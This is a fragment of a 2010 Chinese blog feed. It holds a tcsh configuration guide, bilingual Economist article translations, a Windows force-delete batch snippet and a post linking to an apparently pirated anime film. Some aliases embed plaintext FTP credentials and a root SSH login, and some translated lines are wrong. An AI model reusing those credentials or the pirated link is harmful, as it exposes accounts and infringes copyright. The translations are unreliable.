因为之前除了打命令，我没有用到额外的功能，bash 也好，csh 也罢，在我眼里都是当做 shell 来用。<br />
但是渐渐地，我发现 csh 真的挺好用，它小巧、简单、开放，不需要额外依赖。<br />
&nbsp;</p>
<p>可能有人要拿脚本能力来作对比，比如bash脚本支持函数，csh不支持等。<br />
对我来说，其实我从未像模像样地写过一个脚本，我的工作是 C++ 程序员。<br />
从我的角度来看，<br />
论脚本能力，其实bash、csh、zsh都比不上Python，<br />
论兼容性，bash、csh、zsh都比不上sh，<br />
论强大，bash、csh、zsh都比不上C/C++，甚至asm。<br />
再看易学程度，bash、csh、zsh可能还是要输给Python。<br />
综上，脚本能力忽略不计。<a class="highslide" onclick="return hs.expand(this)" href="http://wiki.freebsdchina.org/lib/images/smileys/icon_silenced.gif"> <img title="Click to enlarge image" alt="Highslide JS" src="http://wiki.freebsdchina.org/lib/images/smileys/icon_silenced.gif" /></a></p>
<div class="highslide-heading">&nbsp;</div>
好了，说了这么多大不敬的话，我们开始切入正题。<a class="highslide" onclick="return hs.expand(this)" href="http://wiki.freebsdchina.org/lib/images/smileys/icon_cool.gif"> <img title="Click to enlarge image" alt="Highslide JS" src="http://wiki.freebsdchina.org/lib/images/smileys/icon_cool.gif" /></a> <div class="highslide-heading">&nbsp;</div>
<p>&nbsp;</p>
</div>
<h3><a class=" FCK__AnchorC" id="配置文件" name="配置文件">配置文件</a></h3>
<div class="level3">
<p>全局配置文件 /etc/csh.cshrc<br />
个人配置文件 ~/.cshrc或~/.tcshrc<br />
&nbsp;</p>
<p>为了方便，建议修改全局性的配置文件，这样每个账号都可以享受便利。<br />
&nbsp;</p>
</div>
<h3><a class=" FCK__AnchorC" id="按键绑定" name="按键绑定">按键绑定</a></h3>
<div class="level3">
<p>通常，我们不设置按键绑定也能很好地工作，<br />
但是对于远程登录，可能需要一些额外的配置。<br />
比如，为了避免putty登录后，Home、End、Delete等变成~，你需要如下配置：<br />
&nbsp;</p>
<pre class="code">bindkey '\e[1~' beginning-of-line      # Home
bindkey '\e[3~' delete-char            # Delete
bindkey '\e[4~' end-of-line            # End
bindkey "^W" backward-delete-word      # Delete
bindkey -k up history-search-backward  # PageUp
bindkey -k down history-search-forward # PageDown</pre> </div>
<h3><a class=" FCK__AnchorC" id="提示符" name="提示符">提示符</a></h3>
<div class="level3">
<p>设置一个漂亮使用的的提示符可以让工作变得更愉快高效。<br />
以下是一个合理的配置方案：<br />
&nbsp;</p>
<pre class="code">if ( $?prompt ) then                                #如果$prompt变量尚未设置，则做如下设置
     if ( "$uid" == "0" ) then                      #判断用户的uid
         set prompt = "%U%n%u@%m [%l] %B%~%b # "    #对于root，我们显示“#”号
     else
         set prompt = "%U%n%u@%m [%l] %B%~%b % "    #对于普通用户，显示“%”号。
     endif
endif</pre> <p>Konsole中的效果如下：<br />
<a class="highslide" onclick="return hs.expand(this)" href="http://wiki.freebsdchina.org/_media/howto/c/prompt2.png"><img title="Click to enlarge image" alt="Highslide JS" src="http://wiki.freebsdchina.org/_media/howto/c/prompt2.png" /></a></p>
<div class="highslide-heading">&nbsp;</div>
<p>&nbsp;</p>
<p>查看更多参数，及其作用:<br />
&nbsp;</p>
<pre class="code">man tcsh  #查看man手册
/%/       #搜索到“%/”开始的地方</pre> </div>
<h3><a class=" FCK__AnchorC" id="环境变量等" name="环境变量等">环境变量等</a></h3>
<div class="level3">
<p>你在抱怨 FreeBSD下的 ls 没有显示颜色， grep 出来的东西没有高亮吗？那么你需要如下的配置：<br />
&nbsp;</p>
<pre class="code">#让 ls 鲜艳些
setenv LSCOLORS ExGxFxdxCxegedabagExEx
setenv CLICOLOR yes
#让 grep 匹配到的字符高亮
setenv GREP_OPTIONS --color=auto</pre> <p>对于在KDE下使用fcitx的人，需要如下三行设置，<br />
其实就是fcitx安装完后所提示的内容，如果你够细心的话。<br />
&nbsp;</p>
<pre class="code">setenv XMODIFIERS @im=fcitx
setenv QT_IM_MODULE xim
setenv GTK_IM_MODULE xim</pre> <p>嗯， ls 有颜色了，但是等等，为何 tab 不能补全？<br />
你需要如下配置：<br />
&nbsp;</p>
<pre class="code">set autolist</pre> <p>如果命令输错了，让csh/tcsh 为你纠正：<br />
&nbsp;</p>
<pre class="code">set correct = cmd</pre> <p>为了在命令行启动某个游戏，或者kde程序，例如dolphin、kcalc，<br />
你需要加两个路径到$path中去：<br />
/usr/games /usr/local/kde4/bin/</p>
<pre class="code">set path = (/sbin /bin /usr/sbin /usr/local/bin /usr/games /usr/local/sbin /usr/bin $HOME/bin /usr/local/kde4/bin/) </pre> </div>
<h3><a class=" FCK__AnchorC" id="黑魔法防御术" name="黑魔法防御术">黑魔法防御术</a></h3>
<div class="level3">&nbsp;</div>
<h4><a class=" FCK__AnchorC" id="重定向防御" name="重定向防御">重定向防御</a></h4>
<div class="level4">
<p>重定向很强大，我们有时候会运行诸如“date » b.txt”，“ls -l &gt; files.txt”等命令。<br />
然而如果一不小心，把“»”输成“&gt;”会造成什么后果呢？<br />
为此，tcsh提供了noclobber这个选项：<br />
&nbsp;</p>
<pre class="code">set noclobber</pre> <p>有了它，悲剧就不会发生。如果“&gt;”的目标文件已存在，tcsh会拒绝重定向。<br />
&nbsp;</p>
</div>
<h4><a class=" FCK__AnchorC" id="覆盖防御" name="覆盖防御">覆盖防御</a></h4>
<div class="level4">
<p>是否遇到过“mv a b”，从而把有用的b文件覆盖掉了？<br />
为此，我们要让mv和cp的行为更谨慎：<br />
&nbsp;</p>
<pre class="code">alias mv 'mv -i'
alias cp 'cp -i'</pre> <p>如果目标文件已存在，mv和cp会拒绝操作，除非使用参数“-f”。<br />
&nbsp;</p>
</div>
<h4><a class=" FCK__AnchorC" id="误删防御" name="误删防御">误删防御</a></h4>
<div class="level4">
<p>rm这个命令自从诞生起，就一直是个危险的操作。<br />
我们可以让rm更温和：<br />
&nbsp;</p>
<pre class="code">alias rm 'rm -i'</pre> <p>这样rm之前，会要求再次确认。<br />
&nbsp;</p>
</div>
<h3><a class=" FCK__AnchorC" id="一切皆alias" name="一切皆alias">一切皆alias</a></h3>
<div class="level3">
<p>前面，我们在黑魔法防御术中已经初步见识了alias。<br />
alias不仅可以避免危险操作，还可以简化命令，自创命令。<br />
除非极短，否则良好的alias命名，应当以某个统一的单词或字母开头，<br />
例如下面即将展示的reload/edit系列、update系列、show系列等。<br />
&nbsp;</p>
<p>先展示最基本的alias，并逐条解释。<br />
&nbsp;</p>
<pre class="code">alias ..    'cd ..'       #两点即可回到上级目录
alias -	    'cd -'        #一杠返回上次的目录
alias q	    'exit'        #退出登录
alias rm    'rm -i'       #误删防御
alias del   'rm -r'       #删除整个目录
alias mv    'mv -i'       #覆盖防御
alias cp    'cp -i'       #覆盖防御
alias ls    'ls -I'       #root状态下，默认不显示隐藏文件（.*）。BSD的ls很特殊，root默认显示所有文件。
alias la    'ls -a'       #显示所有文件
alias ll    'ls -h -l'    #显示文件权限和大小（以合理的单位）
alias lr    'ls -R'       #递归显示目录
alias dh    'df -h -a -T' #以合适的单位显示所有磁盘的剩余空间，以及文件系统类型（如ufs、devfs、procfs）。
alias ds    'du -sh'      #以合适的单位显示查看每个文件/文件夹的大小</pre> <p>find/wc系列。快速查找当前目录下的所有c/cxx/python源码文件。结合wc可以统计行数。<br />
&nbsp;</p>
<pre class="code">alias find-c	'find . -name "*.h" -o -name "*.c"'
alias find-x	'find . -name "*.h" -o -name "*.hpp" -o -name "*.cpp" -o -name "*.cxx"'
alias find-py	'find . -name ".py"'
alias wc-c	'find . -name "*.h" -o -name "*.c" | xargs wc | sort -k 4'
alias wc-x	'find . -name "*.h" -o -name "*.hpp" -o -name "*.cpp" -o -name "*.cxx" | xargs wc | sort -k 4'
alias wc-py	'find . -name ".py" | xargs wc | sort -k 4'</pre> <p>reload/edit系列。实现快速修改，载入配置文件。<br />
&nbsp;</p>
<pre class="code">alias reload-rc.conf  'sh /etc/rc'
alias reload-cshrc    'unalias * &amp;&amp; source /etc/csh.cshrc'
alias edit-xorg.conf  'vim /etc/xorg.conf'
alias edit-csh.cshrc  'vim /etc/csh.cshrc'
alias edit-make.conf  'vim /etc/make.conf'
alias edit-kern.conf  'vim /etc/kernconf/thinkpad'
alias edit-rc.conf    'vim /etc/rc.conf'
alias edit-vimrc      'vim /usr/local/share/vim/vimrc'</pre> <p>set系列。快速设置locale。</p>
<pre class="code">alias setlocale-zhcn 'setenv LC_ALL zh_CN.UTF-8 &amp;&amp; setenv LANG zh_CN.UTF-8'
alias setlocale-c    'setenv LC_ALL C'</pre> <p>startx专用。<br />
保持命令行下为英文locale（避免date等命令出现乱码），而让x环境为中文，适合手动startx而不是kdm的人。</p>
<pre class="code">alias sx 'setenv LC_ALL zh_CN.UTF-8 &amp;&amp; setenv LANG zh_CN.UTF-8 &amp;&amp; startx &amp;&amp; setenv LC_ALL C'</pre> <p>make系列。快速编译kernel/world。</p>
<pre class="code">alias make-world  'cd /usr/src &amp;&amp; make buildworld &amp;&amp; cd -'
alias make-kernel 'cd /usr/src &amp;&amp; make kernel KERNCONF=thinkpad &amp;&amp; cd -'
alias make-installworld 'cd /usr/src &amp;&amp; make installworld &amp;&amp; make delete-old &amp;&amp; cd -'</pre> <p>show系列。查看状态或某些信息。</p>
<pre class="code">alias show-ifstat	'systat -ifstat'    #查看网络接口的数据流量
alias show-geom		'gstat'             #查看I/O状态
alias show-thermal	'sysctl dev.acpi_ibm.0.thermal'  #查看ThinkPad笔记本的各部分温度
alias show-cpufreq	'sysctl dev.cpu.0.freq'          #查看当前cpu频率
alias show-cpulevels	'sysctl dev.cpu.0.freq_levels'   #查看可用的cpu频率
alias show-battery	'sysctl hw.acpi.battery.life &amp;&amp; sysctl hw.acpi.battery.time' #查看电力
alias show-smartctl	'smartctl -a /dev/ad4'           #需要安装smartmontools，查看磁盘smart参数
alias show-alldep	'make all-depends-list'            #需要在ports的安装目录下执行，显示所有依赖
alias show-dep		'portmaster --show-work ./ | sort' #同上，且需要安装portmaster，只显示尚未安装的依赖
alias show-ver		'pkg_version -v'                   #查看是否有软件可更新</pre> <p>update系列。顾名思义，更新嘛。<br />
&nbsp;</p>
<pre class="code">alias update-locatedb    '/usr/libexec/locate.updatedb'            #更新locate数据库
alias update-kernsrc     'csup -L 2 /etc/supfiles/stable-supfile'  #同步kernel tree
alias update-ports       'portsnap fetch update'                   #同步ports tree
alias update-apps	 'portmaster -a --force-config'            #需要安装portmaster，更新所有软件，提示配置选项</pre> <p>杂项，均需要安装第三方软件才能用。</p>
<pre class="code">alias lt    'tree -N -C'       #需要安装tree。树状显示目录，-N可以保证中文显示，-C使用彩色
alias l3    'tree -N -C -L 3'  #目录最多递归三级
alias l4    'tree -N -C -L 4'  #四级
alias l5    'tree -N -C -L 5'  #五级
alias l6    'tree -N -C -L 6'  #六级
alias v	    'vim'              #不用说，我懒
alias m     'mocp'             #控制台下的cs架构播放器
alias getdir	'wget -c -r -np -k'                  #递归下载目录
alias ssh-home	'ssh raphael.vicp.cc -l root'        #用root账号登录，结合key可以免输密码
alias ftp-home   'ftp ftp://syh:syh@raphael.vicp.cc' #BSD自带的ftp，免输账号密码。主机已被电信和工信部和谐，勿再试
alias lft-phome	'lftp raphael.vicp.cc -u syh,syh'    #lftp的免输账号密码。
alias scons	'scons -Q -j 4'                      #构建工具，默认4个线程进行
alias valgrind-checkmem 'valgrind --tool=memcheck --leak-check=full'  #检查内存泄漏</pre> </div>
<h3><a class=" FCK__AnchorC" id="最好的教材" name="最好的教材">最好的教材</a></h3>
<div class="level3">
<p>最好的教材莫过于man手册，真的什么都有了。</p>
<pre class="code">man tcsh</pre> </div>
<p>&nbsp;</p>
</div>
<p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/Web-File-Permissions">Discuz! X 2.0和Ucenter 1.6权限设置</a></p><p><a href="http://www.holmesian.org/freeBSD_extmail">FreeBSD安装ExtMail </a></p><p><a href="http://www.holmesian.org/FreeBSD-mount">Mount命令使用详解</a></p><p><a href="http://www.holmesian.org/Freebsd_apache_die">APache假死问题</a></p><p><a href="http://www.holmesian.org/FreeBSD_nginx_fastcgi_error">FreeBSD+nginx+spawn-fcgi出错的解决</a></p><p><a href="http://www.holmesian.org/FreeBSD_Screen">FreeBSD下使用Screen优化SSH体验</a></p></div>]]></description>
	<pubDate>Mon, 11 Oct 2010 03:49:09 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/FreeBSD_csh_tcsh</guid>

</item>
<item>
	<title>No joking matter</title>
	<link>http://www.holmesian.org/No_joking_matter</link>
	<description><![CDATA[<p>PROESCUTORS are looking into whether the outspoken head of Italy&rsquo;s employers&rsquo; federation was&mdash;or is&mdash;the target of an attempt by journalists close to the prime minister, Silvio Berlusconi, to threaten her with compromising information.<br />
检察官正调查直言不讳的意大利工会联盟主席是否曾经&mdash;&mdash;或者一直&mdash;&mdash;遭受恫吓，即调查是否一些亲近总理西尔维奥&middot;贝卢斯科尼的新闻记者试图以泄密来威胁她。<br />
<br />
Il Giornale, a newspaper owned by Mr Berlusconi&rsquo;s brother which takes a consistently pro-government line, announced today that it was about to publish a &ldquo;four-page dossier&rdquo; on Emma Marcegaglia (pictured), the president of Confindustria, Italy's employers' association. Ms Marcegaglia has been a fierce critic of the government's failure to put forward a policy for reviving economic growth after the recession.<br />
由贝卢斯科尼兄弟所有，一贯坚持政府立场的《意大利日报》今天宣布将要出版一份意大利工业总联合会(Confindustria)主席艾玛&middot;马切卡丽娅的&ldquo;四页档案&rdquo;。马切卡丽娅曾猛烈抨击政府在经济衰退后未能推出复苏经济增长政策。<br />
<br />
The paper made its move despite an inquiry, led by two Naples prosecutors, in which its editor, Alessandro Sallusti, and deputy editor, Nicola Porro, are formal suspects. According to leaks from the inquiry published in the Italian media, it centres on a text message sent by Mr Porro to a press officer at Confindustria on September 16th.<br />
尽管两位那不勒斯检察官所作的一项调查将其总编Alessandro Sallusti、副总编Nicola Porro列为正式嫌犯，这份文档仍在筹备中。根据发表在意大利媒体的调查报告透露，调查的重点是由Porro先生发给一位工业总联合会新闻发言人的一条短信。<br />
<br />
The message allegedly said &quot;tomorrow there will be a big judicial piece on the business dealings of the Marcegaglia family&quot;. Soon afterwards, the two men spoke on the telephone, unaware their conversation was being recorded.<br />
这条被引述的短信称，&ldquo;明天将会有一单关于马切卡丽娅家族生意往来的重大司法纠纷戏码&rdquo;。尔后两人使用电话交谈却并没有意识到他们的谈话已被记录在案。<br />
<br />
Mr Porro is claimed to have said: &quot;Now we're going to have some real fun and for the next 20 days [give] Marcegaglia a hard time like she's never seen before&quot;.He has since said he was &ldquo;just joking&rdquo;, and that, &ldquo;We're on very familiar terms and we kid around. I never made any threats.&rdquo;<br />
据称，Porro当时说：&ldquo;现在我们打算找点儿真正的乐子，接下来的20天将会是她从未想到过的艰难时期&rdquo;。Porro其后声称这&ldquo;只是玩笑&rdquo;，而且，&ldquo;我们之间非常熟悉因而彼此开开玩笑而已。我从未做出任何威胁&rdquo;<br />
<br />
The article was not published. But, questioned on October 5th, Ms Marcegaglia said that she felt her name and reputation had been put in jeopardy by Mr Porro&rsquo;s remarks.<br />
这篇文档虽仍未出版。但是当在10月5日被问及时，马切卡丽娅说，她认为Porro的言论危及其名声和声誉。<br />
<br />
Ms Marcegaglia&rsquo;s criticism of the Berlusconi government became increasingly strident in the summer as the prime minister ignored calls to appoint a new industry minister. Claudio Scajola, the previous incumbent, stepped down in May. Mr Berlusconi himself held the portfolio until earlier this month, when he named Paolo Romani to the job.<br />
当今年夏天总理忽视任命新工业部长的呼吁时，马切卡丽娅对贝卢斯科尼政府的批评就越发尖锐起来。前任工业部长于五月任期届满离职。而贝卢斯科尼自己接管该职务，直到本月早些时候才指派Paolo Romani到任。<br />
<br />
On October 7th, police searched the Milan headquarters of Il Giornale. They were also reported to have searched the homes of the two journalists under investigation. Mr Sallusti took over the day-to-day editing of the paper following criticism of its investigation into an allegedly shady property deal in Monte Carlo, which appeared to cast doubt on the probity of another prominent critic of the prime minister, his former ally, Gianfranco Fini.<br />
10月7日，警察搜查了《意大利日报》的米兰总部。据报道，他们也搜查了涉查两名记者的家。Sallusti接手一项据称与蒙特卡洛（摩纳哥城市）的地下产权交易深入调查的后继批判文章的日常编辑工作，该交易不禁使人怀疑另一位著名的总理批论家&mdash;&mdash;总理的前盟友詹弗兰科&middot;菲尼&mdash;&mdash;的清白。</p>
<p></p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/Grandma_Beaming">Beaming in Grandma</a></p><p><a href="http://www.holmesian.org/Rage_against_the_machine">Rage against the machine</a></p><p><a href="http://www.holmesian.org/Scientists_behaving_badly">Scientists behaving badly-Chinese ethics</a></p><p><a href="http://www.holmesian.org/Your_reputation_precedes_you">Your reputation precedes you</a></p><p><a href="http://www.holmesian.org/China_sneezes_Asia_shivers">China sneezes, Asia shivers.</a></p></div>]]></description>
	<pubDate>Mon, 11 Oct 2010 03:21:38 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/No_joking_matter</guid>

</item>
<item>
	<title>解决删除时提示&quot;找不到该项目&quot;问题</title>
	<link>http://www.holmesian.org/force-delete</link>
	<description><![CDATA[<p>解决删除时提示"找不到该项目"问题</p>
<p>删除时提示 "找不到该项目"</p>
解决办法如下：<br />
把以下内容保存为 rm.bat<br />
<div id="kindeditor" class="quote">DEL /F /A /Q \?\%1<br />
RD /S /Q \?\%1</div>
<br />
然后把不能删除的文件夹拖动到这个bat文件上，OK！搞定！]]></description>
	<pubDate>Mon, 11 Oct 2010 01:57:53 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/force-delete</guid>

</item>
<item>
	<title>Rage against the machine</title>
	<link>http://www.holmesian.org/Rage_against_the_machine</link>
	<description><![CDATA[<p>NOWADAYS fewer than one in three Californians think their governor is  doing a good job. That puts Arnold Schwarzenegger almost in the same  territory as Gray Davis, who was recalled in 2003. During debates his  fellow Republican, Meg Whitman, has politely stressed how different she  would be, while Jerry Brown argues that bringing in well-meaning amateur  politicians, even rich and famous ones, does not work. The left moans  that the Governator cut spending, the right that he did not cut taxes  enough.</p>
<p>&nbsp;</p>
<p>现在，三个加利福尼亚人中只要不到一个人会认为他们的州长做得很出色。这几乎让施瓦辛格处于与Gray  Davis相同的境地，而后者作为加州州长在2003年经全民投票后被罢免。在下届州长竞选辩论中，施瓦辛格在共和党的接任者Meg  Whitman礼貌地强调自己与现任州长的区别，而Jerry  Brown（民主党的竞选者）则说仅仅靠一个好心的业余政治家是没有用的，即便他很富有而且有名。左翼人士抱怨施瓦辛格没有能够削减政府开支，而右翼则说 他没有减足够多的税。</p>
<p></p>
<p>If Mr Schwarzenegger is depressed, he does not show it. Few politicians  anywhere exude optimism more physically. Sure, Californian politics is  impossible (&ldquo;There is maze you have to go through, then a minefield,  then an obstacle course: you become an athlete&rdquo;) but from behind his  cigar he reels off a set of achievements, from reforming state workers&rsquo;  compensation to making schools better and building levees. He has  managed to keep spending rises below inflation. His main regret is not  building more things: he waxes lyrical about visiting South Korea and  counting the cranes on the skyline.</p>
<p>&nbsp;</p>
<p>即便施瓦辛格先生很沮丧，但他也没有表现出来。没有政治家（能像他一样）通过肢体语言散发出更多的乐观情绪。</p>
<p><font color="Red">当然，加州的政治很让人绝望（&ldquo;要成为一个运动员你必须穿过一些迷宫，还有雷区和各种障碍&rdquo;），但在他帅气的外表下施瓦辛格还是一口气取得了很多成果</font></p>
<p>，从为了使学校变得更好而改革州政府工作人员的赔偿金到修筑海岸堤坝。他还设法保证政府开支增长速度低于通胀水平。</p>
<p><font color="Red">他的主要遗憾则是没有做成更多的事情，比方说写一首关于访问韩国的抒情诗以及数一数地平线上出现的白鹤。</font></p>
<p>So there is a record to defend. The problem has to do with unmet  expectations, probably including his own. Back when Mr Schwarzenegger  bulldozed his way to the governorship alongside Mr Davis&rsquo;s recall, the  hope was that this cyborg ex machina could change the world&rsquo;s least  governable big economy. It was not just that his celebrity guaranteed  him an audience; his brand of hedonistic Republicanism was close to the  state&rsquo;s moderate centre, unlike the partisan, gerrymandered legislature.</p>
<p>&nbsp;</p>
<p>因此，（他）并不是没有政绩（可用于辩护自己），问题在于如何对待那些没有得到满足的期望，这其中甚至可能还包括他自己个人的期望。</p>
<p><font color="Red">施 瓦辛格的上任是因为Gray  Davis的罢免，因此选民们希望这个&ldquo;半机械人&rdquo;（译者：施瓦辛格以电影终结者系列中扮演人型机器人而闻名）可以改变这个世界上最小的国有大型经济体。 这可绝不仅仅是他的名气能够保证有观众（这么简单），他招牌式的享乐型共和主义十分像加州那些温和的中性选民，这与那些盲目的党派效忠者不同，后者往往会 为了一党私利甚至随意划分选区。</font></p>
<p>Since then, as even Mr Schwarzenegger&rsquo;s friends admit, the system won  too often. But was it his fault? California&rsquo;s governorship is a pretty  weak one: the state&rsquo;s government is a mess of competing districts,  counties and cities, with much of the budget mandated by ballot  initiatives. The Governator relied on using that referendum system to  bypass the legislature. But those centrist voters soon let him down: a  series of reforms were easily defeated by the big public-sector unions  in 2005. The governor was soon in the sort of slow slugfest his foes  excelled at. One Democrat calls him &ldquo;a Hollywood negotiator&rdquo;, better at  dividing up the spoils than settling down for lengthy line-by-line  brawls.</p>
<p>&nbsp;</p>
<p>从那以后，即便是施瓦辛格的朋友也不得不承认，体制还是获胜得太多了。但是，这是他的错吗？加州州长本来就不是一个强势的位置：州政府由一群混乱的下级政府（地区、郡县、城市）组成，相互之间还多存在竞争关系，而且大多数的预算取决于立法官员的投票结果。</p>
<p><font color="Blue">（有时候）施瓦辛格不得不依靠全民投票的方式来推行自己的政策</font></p>
<p>。但是，那些中间选民很快就让他沮丧了：在2005年，大型公共部门工会联盟很轻易地就阻挠了一系列的改革措施。州长很快就陷入了激烈的互相谩骂中，而这正是他的敌人所擅长的。一个民主党人称他为&ldquo;好莱坞式的谈判者&quot;,只会瓜分战利品而不会在冗长的争吵过程中争取胜利。</p>
<p>&nbsp;</p>
<p>Against this, Mr Schwarzenegger still managed to win re-election in  2006, and he has doggedly clung to the centre. On prisons, for instance,  he has defied right-wingers by repeatedly making the case that  California locks up too many people. He has kept going on public-sector  pensions and this month won a victory of sorts. There is talk of him  setting up an institution to campaign for reform. &ldquo;He doesn&rsquo;t give  things up,&rdquo; observes one ally.</p>
<p>&nbsp;</p>
<p>即便如此，施瓦辛格还是在2006年赢得了连任，而且他还顽强地坚持呆在了（关注的）中心。比方说在监狱问题上，他不顾右翼分子的反对坚持声称加州的监狱关了太多的犯人。他还持续对公共部门雇员的养老金制度进行改革，</p>
<p><font color="Red">并且这个月赢得了一场胜利</font></p>
<p>。最近他还提出将成立一个专门机构用于推动改革。一个他的盟友这样形容他：&ldquo;他从来不放弃任何事情&rdquo;。</p>
<p>&nbsp;</p>
<p>In retrospect, this supremely lucky man was unlucky in his timing&mdash;on two  scores. First, his successor will have the advantage of several  political reforms he did push through&mdash;open primaries and an end to  gerrymandering in the state legislature&mdash;that should make politics in the  near future less loopily partisan. Second, the mood has changed. Seven  years ago Californians were furious enough to elect him but not to  follow through. Now more of them may realise what a mess their state is  in.</p>
<p>&nbsp;</p>
<p>现在回想起来，这个总走大运的人这回至少在时机上有两点不太走运。首先，由于他推动的政治改革（开放初选以及不得在立法机构中为了一党私利而擅改选区划 分），加州政治气氛在不久的将来将不会这么党派分明，他的继任者肯定会因此获利。第二点，（选民）的情绪已经变化了。七年前加州人是如此的气愤以至于选了 施瓦辛格来做他们的州长，但是这种情绪没有持续下去。现在他们中的大多数已经意识到加州的状态是多么的糟糕了。</p>
<p>&nbsp;</p>
<p>United States</p>
<p>&nbsp;</p>
<p>美国</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/No_joking_matter">No joking matter</a></p><p><a href="http://www.holmesian.org/Your_reputation_precedes_you">Your reputation precedes you</a></p><p><a href="http://www.holmesian.org/Grandma_Beaming">Beaming in Grandma</a></p><p><a href="http://www.holmesian.org/China_sneezes_Asia_shivers">China sneezes, Asia shivers.</a></p><p><a href="http://www.holmesian.org/Scientists_behaving_badly">Scientists behaving badly-Chinese ethics</a></p></div>]]></description>
	<pubDate>Sun, 10 Oct 2010 06:10:05 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/Rage_against_the_machine</guid>

</item>
<item>
	<title>《名侦探柯南 剧场版第十四弹 天空的遇难船》(Detective Conan: The Lost ship in the Sky)[RMVB]</title>
	<link>http://www.holmesian.org/detectiv_conan_14</link>
	<description><![CDATA[<div class="iptcom" id="iptcomCname"><span class="iptcom-title">不知不觉中柯南已经出了第十四弹剧场版了，对于柯南的剧场版映像最深的还是当年的</span><span id="new_inner_content5">  《贝克街的亡灵》、《通往天国的倒计时》几部</span>，后来的剧场版有种狗尾续貂的感觉。<span class="iptcom-title"><strong><br />
</strong></span><span class="iptcom-title"><strong><br />
</strong></span><span class="iptcom-title"><strong>PS：Verycd上评论总是那么的有喜感。<br />
<br />
<br />
</strong></span><span class="iptcom-title"><strong>中文名</strong>: </span>名侦探柯南 剧场版第十四弹 天空的遇难船</div>
<div class="iptcom" id="iptcomEname"><span class="iptcom-title"><strong>英文名</strong>: </span>Detective Conan: The Lost ship in the Sky</div>
<div class="iptcom" id="iptcomAlias"><span class="iptcom-title"><strong>别名</strong>: </span>名探侦コナン 天空の难破船</div>
<div class="iptcom" id="iptcomFiletype"><span class="iptcom-title"><strong>资源格式</strong>: </span>RMVB</div>
<div class="iptcom" id="iptcomVersion"><span class="iptcom-title"><strong>版本</strong>: </span>[幻樱字幕组官方发布]</div>
<div class="iptcom" id="iptcomTime"><span class="iptcom-title"><strong>发行时间</strong>: </span>2010年10月8日</div>
<p><span style="font-weight: bold;">导演: 山本泰一郎<br />
配音演员: 高山南<br />
山口胜平<br />
小山力也<br />
山崎和佳奈<br />
地区: 日本<br />
语言: 日语</span></p>
<p></p>
<p><span class="iptcom-title"><strong><br />
</strong></span><span class="post_origin_img"><a href="/attachment/image/2010100923053281642.jpg" target="_blank"><img border="0" src="/attachment/image/2010100923054247408.jpg" alt="IPB Image" name="post_img" /></a></span></p>
<p><br />
<span class="iptcom-title"><strong> <br />
</strong></span></p>
<table cellspacing="1" cellpadding="2" width="100%">
    <tbody>
        <tr>
            <td class="needemule" colspan="2">&nbsp;</td>
        </tr>
        <tr>
            <td class="post2"><input type="checkbox" checked="checked" value="ed2k://&#124;file&#124;%5B%E5%90%8D%E4%BE%A6%E6%8E%A2%E6%9F%AF%E5%8D%97.%E5%89%A7%E5%9C%BA%E7%89%88%E7%AC%AC%E5%8D%81%E5%9B%9B%E5%BC%B9.%E5%A4%A9%E7%A9%BA%E7%9A%84%E9%81%87%E9%9A%BE%E8%88%B9%5D.%5BHYSUB%5DConan_movie2010_The.Lost.Ship.in.The.Sky%5BDVD-RMVB%5D%5BGB_RV10%5D%5B856X480%5D.rmvb&#124;492192587&#124;c08742603da59f368d4b22bbc0487275&#124;h=km6ylogseygmefpjoi4ibt7pmhnoobew&#124;/" name="EM4cb068844d13e" class="forminput" style="cursor: pointer;" /><a href="ed2k://%7Cfile%7C%5B%E5%90%8D%E4%BE%A6%E6%8E%A2%E6%9F%AF%E5%8D%97.%E5%89%A7%E5%9C%BA%E7%89%88%E7%AC%AC%E5%8D%81%E5%9B%9B%E5%BC%B9.%E5%A4%A9%E7%A9%BA%E7%9A%84%E9%81%87%E9%9A%BE%E8%88%B9%5D.%5BHYSUB%5DConan_movie2010_The.Lost.Ship.in.The.Sky%5BDVD-RMVB%5D%5BGB_RV10%5D%5B856X480%5D.rmvb%7C492192587%7Cc08742603da59f368d4b22bbc0487275%7Ch=km6ylogseygmefpjoi4ibt7pmhnoobew%7C/">[名侦探柯南.剧场版第十四弹.天空的遇难船].[HYSUB]Conan_movie2010_The.Lost.Ship.in.The.Sky[DVD-RMVB][GB_RV10][856X480].rmvb</a><span class="downloadCounter_c08742603da59f368d4b22bbc0487275492192587"><a target="_blank" title="" href="http://www.verycd.com/files/c08742603da59f368d4b22bbc0487275492192587"><img title="" style="margin-left: 6px; padding-right: 2px;" src="/attachment/image/2010100923054452742.gif" alt="" /></a></span>&nbsp;</td>
        </tr>
    </tbody>
</table>
<p><br />
<span class="iptcom-title"><strong><br />
</strong></span></p>
<p><span class="iptcom-title"><strong>简介</strong>: </span><br />
<span class="post_origin_img"><img border="0" src="/attachment/image/2010100922580752677.jpg" alt="IPB Image" name="post_img" /></span><br />
<br />
<b>【发行时间】</b></p>
<p>2010年10月8日</p>
<p><br />
<b>【字幕制作】</b></p>
<p>幻樱字幕组 简体内嵌</p>
<p>&nbsp;</p>
<p>MKV版本稍晚些发布</p>
<p><br />
<br />
<b>【剧情介绍】</b></p>
<p>铃 木财团的顾问‧铃木次郎吉，终于完成了世界最大的飞行船&ldquo;BELL TREE  I世号&rdquo;。这其实是他为了缉捕自认是竞争对手的怪盗基德，所安排的一场大规模计划。他对怪盗基德下的战帖是&ldquo;七天后，BELL TREE  I世号&rdquo;将从东京出发到大阪，有本事就来把&ldquo;天空的贵妇人&rdquo;这颗大宝石给偷走吧&rdquo;。</p>
<p>&nbsp;</p>
<p>对于次郎吉的这项挑战，基德也大胆地回复&ldquo;等抵达大阪上空后就会偷走&rdquo;，这场以天空为舞台的对决也受到了世人的瞩目。同时次郎也招待了名侦探毛利小五郎、毛利兰、柯南等少年侦探团的成员们搭乘这艘船。柯南等人究竟能否战胜强大的怪盗基德并将他绳之以法呢?</p>
<p>&nbsp;</p>
